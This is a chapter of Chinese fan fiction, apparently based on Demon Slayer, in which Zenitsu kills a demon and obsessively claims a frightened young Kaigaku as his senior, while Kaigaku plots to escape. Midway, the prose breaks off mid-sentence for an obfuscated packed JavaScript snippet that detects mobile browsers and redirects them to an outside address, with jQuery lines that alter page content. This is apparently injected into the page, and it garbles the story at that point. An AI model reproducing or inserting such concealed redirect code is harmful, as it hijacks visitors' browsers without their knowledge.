锋利的鬼爪朝着他们的方向抓来,距离如此近,狯岳甚至能够闻到鬼身上腥臭的味道。
他想要逃跑,但是四肢依然被身前的神经病禁锢着,他挣不脱。
眼前的鬼爪越来越近,狯岳甚至要绝望了。
太倒霉了,他想,他今天就不该出门,也就不会遇见这么个疯子,导致现在遇见鬼连跑掉都没办法,只能眼睁睁被鬼杀掉……
正在他打算闭眼迎接死亡时,那个死死搂着他的人动了。
善逸迅捷地向左错身,躲过了身后恶鬼扑上来的动作,之后单手将师兄搂好,空出右手拔出身上的日轮刀。
“真是的,非要在这种场合找上来……”善逸搂着师兄腰的手臂微抬,将自己怀中的师兄换了个位置,随后转身抬眼,看向这个不知死活找上门的恶鬼。金灿灿的眼睛暗沉下来,带着浓重的压迫感。“本来听到动静,想着等和师兄谈完之后在去杀你的……真是不会看眼色,非得在人家与师兄交流感情的时候上门。”
“喂,你,想好怎么死了吗?”
“啊?你个小鬼真是嚣张啊!好大的口气!我到要看看你有什么能……”那恶鬼虽被眼前人的眼神吓了一跳,却按下了心中的预感,毕竟他面前的是只有一米多出头的小不点。善逸的年龄让这位找上门来的恶鬼轻敌了。恶鬼正想上前给眼前的小不点展示一下什么叫做鬼的力量,话说到一半,眼前蓝光一闪,恶鬼还没反应过来发生了什么,只见自己的视野突然变低,掉落在了地上。
在地上的恶鬼痛苦嘶鸣的背景声中,善逸甩掉了日轮刀上的血。“真是聒噪啊,选择困难的话我帮你做决定就好了。”善逸不耐烦眼前恶鬼的喋喋不休,直接将恶鬼的头颅斩了下来。只是……“咦?”
善逸回想着自己挥刀时日轮刀上带出来的蓝色电光,以及更加迅捷的动作,几乎看不到残影。
面前恶鬼的身躯还没有倒下,从脖颈的地方开始,一道道的裂纹裂开,鬼的身躯轰然四散。
是错觉吗?总感觉自己好像有了什么特殊的能力。
“这样的力量……师兄?”
没等善逸细细分辨自己身上产生的变化,师兄的动静就打断了他的思绪。
善逸单手将日轮刀收回刀鞘,转而看向怀中忽然剧烈颤抖的师兄。现在的师兄和他身高相近,为了不妨碍他杀鬼,安安静静地蜷缩在他怀中,看上去乖巧极了。
但是师兄的内心却发出了尖锐的叫喊,恐惧像是气球一般在师兄心中炸开,眼前的小猫师兄背上的毛都炸了起来,冲着他大声哈气。
是害怕恶鬼吗?毕竟刚刚师兄为了躲避恶鬼,甚至挣扎着想要从自己的怀抱之中逃跑呢。
我妻善逸再次双手搂上狯岳,安抚地轻拍他的肩,希望将师兄炸起来的毛强行捋顺:“没事了,师兄,恶鬼被我杀死了哦?师兄不会被吃掉的。”
像是这样,在师兄害怕的时候温柔的安抚……对的,这样,师兄就会感到幸福了吧?
“还有哦,师兄!我们一起去找爷爷吧?爷爷那里有好多好多的桃子,师兄,你超级喜欢吃桃子的,不是吗?”
和师兄一起去爷爷那里学习呼吸法,在桃山上给师兄更多的幸福,让师兄永远不会离开自己和爷爷,那样的生活,真好啊……
善逸将自己的脸埋在师兄的颈窝里蹭蹭,幻想着之后的生活。
善逸等待很久,等到他要抬头确认师兄是不是睡着了时,终于,耳朵捕捉到了一声闷闷的“好。”
怀中的师兄乖乖答应了自己的请求,然而旁边的炸毛哈气小猫却给了善逸的手背一巴掌。
善逸定定地盯着那只半空中的小猫,瞳孔中蕴藏的情绪久久不散,而嘴上还是保持了刚刚的语气跟师兄回话。
“太好了,师兄……”
不管是真心还是假意,师兄,只要你不离开我就好。
狯岳被善逸的手臂牢牢地抱着,近距离观看了善逸杀鬼的全过程。
不怕被神经病缠上,就怕这个神经病同时还有很高的武力值。
他甚至没看清善逸的动作,只见到一道蓝色的闪电划过,眼前面目狰狞的恶鬼就头颅落地,甚至连整个身体都碎裂开来。
雷光划过恶鬼脖子的一瞬间,他甚至觉得,自己的脖子也好像被这同样的电光划过,头颅与身体分开,掉落在地上。
他的余光看到了善逸的眼神。那双眼睛如此暗沉,好似只依靠目光就能把面前的鬼,以及怀中的自己,给杀死个百十遍。
狯岳不敢发声,他甚至幅度更大地颤抖起来,喉头干哑,四肢僵硬,再也不能做出什么动作。
似是感受到他的害怕,这个让他如此恐怖的源头竟安抚地拍拍他的肩膀,轻声地哄起他来。
好恐怖!好恐怖
排在他肩膀上的轻柔力道像是敲在他心脏上的钟,一下又一下,警告着他颤抖的身体,不许震颤、不许震颤!
!
狯岳感觉自己要被这力道给拍死了,死在这个说要保护他的人手中。
不可以,不可以这样死掉!
没事的,他不会杀掉你的,狯岳,要冷静,要冷静。
狯岳拼尽力气平息下身体的颤抖,平复自己急促的呼吸,勉强自己去听抱着自己的人口中说了什么话。
一起……去……找……爷爷?
不管了,先答应下来这个疯子,之后再逃跑!
狯岳勉强自己干哑的喉咙发出声音,但是口腔像是被强力的胶水黏住了,根本张不开。
快回话!狯岳!快回话!
狯岳拼命撕扯着自己被粘合住的口腔,用尽全力,必须在这个疯子不耐烦之前发出声音!
他的面部肌肉用力到抽搐,终于,像是撕开他长在一起的肉一般,狯岳终于开了口,从喉腔中挤出来一声沙哑的字。
“……好。”
我妻善逸牵着师兄的手,一起走下了山。等到他们来到最近的城镇时,天已经微微亮。
正是初夏时刻,此时的城镇之中,已经有早起的人在收拾准备一天的忙碌了。
我妻善逸的衣服上还有大片的血渍。他将自己的日轮刀藏在羽织之下,为了掩盖身上的痕迹,也为了他们二人的路费,他专门在下山时猎杀了三只兔子提在手上,还将兔子的皮毛弄得满是血渍,伪装自己是捕杀兔子时身上沾染的血。
有人注意到了善逸与狯岳,但是见两位只是还没有十二岁的小孩,就没太在意,还好心地为善逸指明了城镇上肉铺的位置。
我妻善逸摸着头,小声感谢了路人的好意,随后便沿着路人所指的方向来到了肉铺前。
时间太早,肉铺老板还没开门。善逸牵着师兄,两人一起坐在了铺子前的空地上,等待着整个城镇醒过来。
善逸当然听到了自己师兄内心中疯狂尖哮着的恐惧。师兄还在害怕刚刚那只鬼吧?
善逸想起了自己要带给师兄幸福的计划。于是,善逸托住狯岳的双手,笑着道:“没事了,师兄!我会杀死恶鬼保护你的~”
他盯着师兄满是伤痕的双手,继续絮絮叨叨地念叨着:“虽然我也没有多少力量啦……恶鬼确实很可怕……我第一次面对恶鬼的时候甚至都被吓晕了!幸好有好心人将鬼给杀掉了……当时真是吓人,我现在想起来还是觉得好恐怖……不过,师兄,现在的我已经能够杀死恶鬼啦!所以不用害怕了哦?”善逸将自己的脸在小小的狯岳手心中轻轻蹭蹭,试图给师兄传递更多的安全感。
狯岳感受着面前这个疯子在自己手心中的触感。善逸脸上的裂痕就像是被黄金缝补的玉石一般,虽绚烂但依然有痕迹。昨天从天上摔下来的人满脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140821|196326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
血迹,但在下山的途中,善逸清洗了自己的脸。直到这时候,他才有机会看到我妻善逸的容貌。
善逸的眼睛大且圆润,眼瞳是如闪电一般锐利且明亮的金黄色,在眼瞳深处隐隐泛着蓝光。眼角下垂,粗短的眉毛也向下耷拉着,看上去怯懦而温驯。脸蛋圆润且流畅,还带着没长开的稚嫩,一头灿金色的短发也安分地耷拉着。除了发尾的那点像是电光的蓝,以及脸上被青金石一样的颜色填补的裂纹伤痕,任谁来看,这都只是一个胆小且怯懦的人。
和狯岳之前见到的抱怨着恶鬼打断了他们师兄弟之间的交流,一剑就斩杀了恶鬼的那个疯子完全是两个人。
狯岳终于有机会思考自己的处境了。他看着眼前一口一个师兄的叫着,嘟嘟囔囔地讲话的疯子,思考自己该如何逃脱。
面前这个疯子对师兄的深切执念压得他喘不过气。诚然,这样待在这个疯子身边,他的安全能更有保障,但是这样感情沉重且不稳定的人就像是炸弹一般,不知道何时会爆发。可能上一秒还被他捧在手心,下一秒脑袋就被他砍掉了。
狯岳恶意地猜测着,看他这个疯样,说不定他的师兄就是被他自己杀掉的,才会在大街上到处认人作自己的师兄。
在这样倾注浓厚感情且喜怒无常的师弟在,就算是亲师兄也不会好到哪里去。而狯岳深知,自己绝对不是他口中的那位师兄。
虽说与这个疯子解释过了自己根本没见过他,当时也确实被放走了。那之后这个疯子不知道又受到了什么刺激,又开始追着他喊师兄。
万一他那天醒悟过来,认识到自己认错了人,进而要将自己这个认错了的假货给一刀砍死怎么办?
狯岳不想死,他想活着,哪怕喝泥水,吃那些被人踩烂的果子,他也要活着。
所以,他必须逃离这个疯子,逃离这个不稳定的炸弹。
第一步,他需要先稳住眼前的人,让他放松下警惕,自己才能够找到机会逃跑。
狯岳打断我妻善逸的絮叨,开口询问:“你叫什么名字?”
师兄终于开始和自己说话了,善逸很开心:“我叫我妻善逸。师兄,记好了哦!”他将托着的师兄的手握在手心,盯着师兄的绿眼睛,继续开心地讲:“还有哦,师兄,你叫做狯岳,对吧?稻玉狯岳,很好听呢,和我的名字合在一起就是稻妻哦,一听就是师兄弟。”
狯岳愣住,心中充满了疑惑不解。他直接问了出来:“你怎么会知道我的名字?”
就算是特意去问,也只会知道“狯岳”这两个字,面前这个疯子是怎么知道他的全名的?!
“我说啦,我们是师兄弟嘛!怎么会有师弟不知道师兄的名字呢?也太失职了!”
师兄的全名,还是他在桃山时,被爷爷派遣着收衣服看到的。当时那件从没见师兄穿过的羽织之上,整整齐齐地绣着“稻玉狯岳”四个字。
“师兄弟……”狯岳确定自己确实没有见过眼前这个疯子。他从出生到现在,四处流浪、颠沛流离,记忆中插不进头发颜色这样鲜艳的少年。
怎么会呢?怎么会?他和这个小疯子的师兄居然名字相同!是巧合吧?一定是巧合吧?
就算他真在自己忘记的时候当过这个小疯子的师兄,他也不会在这样的人身边停留的!!
他最后一次试图强调:“我以前没见过你。”
善逸不在意,伸手试图抚摸上自己只有十多岁师兄毛茸茸的黑色脑袋,被狯岳躲过也并不失落:“没关系,我们会成为要好的师兄弟的,我们会成为一家人。”
说罢,善逸没管狯岳怔然的表情与困惑的心音,他将狯岳从地上拉起来,拍拍手捡起地上的兔子,冲着肉铺的方向说:“开门了,师兄。”
狯岳转头,两三秒后,肉铺的门从里面打开。城镇的早上,终于开始。